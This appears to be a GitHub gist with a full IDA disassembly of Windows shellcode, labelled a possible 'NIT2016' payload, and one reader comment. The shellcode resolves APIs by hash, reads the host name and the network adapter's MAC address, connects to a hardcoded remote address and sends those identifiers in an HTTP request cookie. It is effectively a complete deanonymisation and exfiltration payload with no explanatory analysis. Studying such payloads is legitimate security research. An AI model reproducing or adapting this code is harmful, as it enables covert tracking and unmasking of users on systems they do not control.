NIT2016? Very similar to the 2013 payload...
; Input MD5 : 614D07EF7777CFF5CFDF741587A097DA | |
; Input CRC32 : B326AB6B | |
; --------------------------------------------------------------------------- | |
; File Name : C:\Users\raylee\nit - Copy.bin | |
; Format : Binary file | |
; Base Address: 0000h Range: 0000h - 02FCh Loaded length: 02FCh | |
.686p | |
.mmx | |
.model flat | |
; =========================================================================== | |
; Segment type: Pure code | |
seg000 segment byte public 'CODE' use32 | |
assume cs:seg000 | |
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing | |
cld | |
call shellcode_main | |
; =============== S U B R O U T I N E ======================================= | |
api_call proc near | |
var_4 = dword ptr -4 | |
pusha | |
mov ebp, esp | |
xor edx, edx | |
mov edx, fs:[edx+30h] | |
mov edx, [edx+0Ch] | |
mov edx, [edx+14h] | |
loc_15: ; CODE XREF: api_call+87j | |
mov esi, [edx+28h] | |
movzx ecx, word ptr [edx+26h] | |
xor edi, edi | |
loc_1E: ; CODE XREF: api_call+26j | |
xor eax, eax | |
lodsb | |
cmp al, 61h ; 'a' | |
jl short loc_27 | |
sub al, 20h ; ' ' | |
loc_27: ; CODE XREF: api_call+1Dj | |
ror edi, 0Dh | |
add edi, eax | |
loop loc_1E | |
push edx | |
push edi | |
mov edx, [edx+10h] | |
mov eax, [edx+3Ch] | |
add eax, edx | |
mov eax, [eax+78h] | |
test eax, eax | |
jz short loc_89 | |
add eax, edx | |
push eax | |
mov ecx, [eax+18h] | |
mov ebx, [eax+20h] | |
add ebx, edx | |
loc_4A: ; CODE XREF: api_call+60j | |
jecxz short loc_88 | |
dec ecx | |
mov esi, [ebx+ecx*4] | |
add esi, edx | |
xor edi, edi | |
loc_54: ; CODE XREF: api_call+58j | |
xor eax, eax | |
lodsb | |
ror edi, 0Dh | |
add edi, eax | |
cmp al, ah | |
jnz short loc_54 | |
add edi, [ebp-8] | |
cmp edi, [ebp+24h] | |
jnz short loc_4A | |
pop eax | |
mov ebx, [eax+24h] | |
add ebx, edx | |
mov cx, [ebx+ecx*2] | |
mov ebx, [eax+1Ch] | |
add ebx, edx | |
mov eax, [ebx+ecx*4] | |
add eax, edx | |
mov [esp+28h+var_4], eax | |
pop ebx | |
pop ebx | |
popa | |
pop ecx | |
pop edx | |
push ecx | |
jmp eax | |
; --------------------------------------------------------------------------- | |
loc_88: ; CODE XREF: api_call:loc_4Aj | |
pop eax | |
loc_89: ; CODE XREF: api_call+37j | |
pop edi | |
pop edx | |
mov edx, [edx] | |
jmp short loc_15 | |
api_call endp ; sp-analysis failed | |
; =============== S U B R O U T I N E ======================================= | |
; Attributes: noreturn | |
shellcode_main proc near ; CODE XREF: seg000:00000001p | |
pop ebp | |
lea eax, [ebp+297h] | |
push eax | |
push 726774Ch | |
call ebp | |
test eax, eax | |
jz loc_22B | |
lea eax, [ebp+29Eh] | |
push eax | |
push 726774Ch | |
call ebp | |
test eax, eax | |
jz loc_22B | |
mov ebx, 190h | |
sub esp, ebx | |
push esp | |
push ebx | |
push 6B8029h | |
call ebp | |
add esp, ebx | |
test eax, eax | |
jnz loc_22B | |
push eax | |
push eax | |
push eax | |
push eax | |
inc eax | |
push eax | |
inc eax | |
push eax | |
push 0E0DF0FEAh | |
call ebp | |
xor ebx, ebx | |
not ebx | |
cmp ebx, eax | |
jz loc_22B | |
mov ebx, eax | |
loc_F3: ; CODE XREF: shellcode_main+8Bj | |
push 0E21B2705h | |
push small 5000h | |
xor ecx, ecx | |
add cl, 2 | |
push cx | |
mov edx, esp | |
push 10h | |
push edx | |
push ebx | |
push 6174A599h | |
call ebp | |
test eax, eax | |
jz short loc_11C | |
dec byte ptr [ebp+248h] | |
jnz short loc_F3 | |
loc_11C: ; CODE XREF: shellcode_main+83j | |
mov eax, 100h | |
sub esp, eax | |
mov edx, esp | |
push edx | |
push eax | |
push edx | |
push 1DE49B6h | |
call ebp | |
pop edi | |
add esp, 100h | |
test eax, eax | |
jnz loc_234 | |
push edi | |
call sub_23E | |
pop esi | |
mov edx, ecx | |
lea edi, [ebp+2A7h] | |
call sub_23E | |
dec edi | |
cmp edx, 20h ; ' ' | |
jl short loc_15D | |
mov edx, 20h ; ' ' | |
loc_15D: ; CODE XREF: shellcode_main+C7j | |
mov ecx, edx | |
push esi | |
rep movsb | |
mov ecx, 0Dh | |
lea esi, [ebp+28Ah] | |
rep movsb | |
mov [ebp+244h], edi | |
pop esi | |
push esi | |
push 803428A9h | |
call ebp | |
test eax, eax | |
jz loc_234 | |
mov cx, [eax+0Ah] | |
cmp cx, 4 | |
jb loc_234 | |
lea eax, [eax+0Ch] | |
mov eax, [eax] | |
mov ecx, [eax] | |
mov ecx, [ecx] | |
mov eax, 100h | |
push eax | |
mov edi, esp | |
sub esp, eax | |
mov esi, esp | |
push edi | |
push esi | |
push ecx | |
push ecx | |
push 0B8D27248h | |
call ebp | |
test eax, eax | |
add esp, 104h | |
movzx ecx, word ptr [edi] | |
cmp ecx, 6 | |
jb short loc_234 | |
mov ecx, 6 | |
mov eax, 10h | |
sub esp, eax | |
mov edi, esp | |
mov edx, ecx | |
shl edx, 1 | |
push eax | |
push edx | |
loc_1D8: ; CODE XREF: shellcode_main+173j | |
xor edx, edx | |
mov dl, [esi] | |
mov al, dl | |
and al, 0F0h | |
shr al, 4 | |
cmp al, 9 | |
ja short loc_1EB | |
add al, 30h ; '0' | |
jmp short loc_1ED | |
; --------------------------------------------------------------------------- | |
loc_1EB: ; CODE XREF: shellcode_main+156j | |
add al, 37h ; '7' | |
loc_1ED: ; CODE XREF: shellcode_main+15Aj | |
mov [edi], al | |
inc edi | |
mov al, dl | |
and al, 0Fh | |
cmp al, 9 | |
ja short loc_1FC | |
add al, 30h ; '0' | |
jmp short loc_1FE | |
; --------------------------------------------------------------------------- | |
loc_1FC: ; CODE XREF: shellcode_main+167j | |
add al, 37h ; '7' | |
loc_1FE: ; CODE XREF: shellcode_main+16Bj | |
mov [edi], al | |
inc edi | |
inc esi | |
loop loc_1D8 | |
pop ecx | |
sub edi, ecx | |
mov esi, edi | |
pop eax | |
add esp, eax | |
mov edi, [ebp+244h] | |
rep movsb | |
call sub_24F | |
xor eax, eax | |
push eax | |
push ecx | |
sub edi, ecx | |
dec edi | |
push edi | |
push ebx | |
push 5F38EBC2h | |
call ebp | |
jmp short loc_234 | |
; --------------------------------------------------------------------------- | |
loc_22B: ; CODE XREF: shellcode_main+11j | |
; shellcode_main+27j ... | |
push 0 | |
push 6F721347h | |
call ebp | |
loc_234: ; CODE XREF: shellcode_main+A9j | |
; shellcode_main+F1j ... | |
push ebx | |
push 614D6E75h | |
call ebp | |
jmp short loc_22B | |
shellcode_main endp | |
; =============== S U B R O U T I N E ======================================= | |
sub_23E proc near ; CODE XREF: shellcode_main+B0p | |
; shellcode_main+BEp ... | |
xor ecx, ecx | |
not ecx | |
xor eax, eax | |
repne scasb | |
not ecx | |
dec ecx | |
retn | |
sub_23E endp | |
; --------------------------------------------------------------------------- | |
align 4 | |
db 2 dup(0), 3 | |
; =============== S U B R O U T I N E ======================================= | |
sub_24F proc near ; CODE XREF: shellcode_main+185p | |
lea edi, [ebp+2A7h] | |
call sub_23E | |
dec edi | |
mov ecx, 4Fh ; 'O' | |
lea esi, [ebp+26Eh] | |
rep movsb | |
lea edi, [ebp+2A7h] | |
call sub_23E | |
retn | |
sub_24F endp | |
; --------------------------------------------------------------------------- | |
aAcceptEncoding db 0Dh,0Ah | |
db 'Accept-Encoding: gzip',0Dh,0Ah | |
db 0Dh,0Ah,0 | |
aCookieMcWs2_32 db 0Dh,0Ah | |
db 'Cookie: MC=' | |
aWs2_32 db 'ws2_32',0 | |
aIphlpapi db 'IPHLPAPI',0 | |
aGet0a821a8005d db 'GET /0a821a80/05dc0212 HTTP/1.1',0Dh,0Ah | |
db 'Host: ',0 | |
align 4 | |
dd 8 dup(0) | |
dd 41900000h | |
seg000 ends | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This comment has been minimized.
Do you have the original binary that I could disassemble?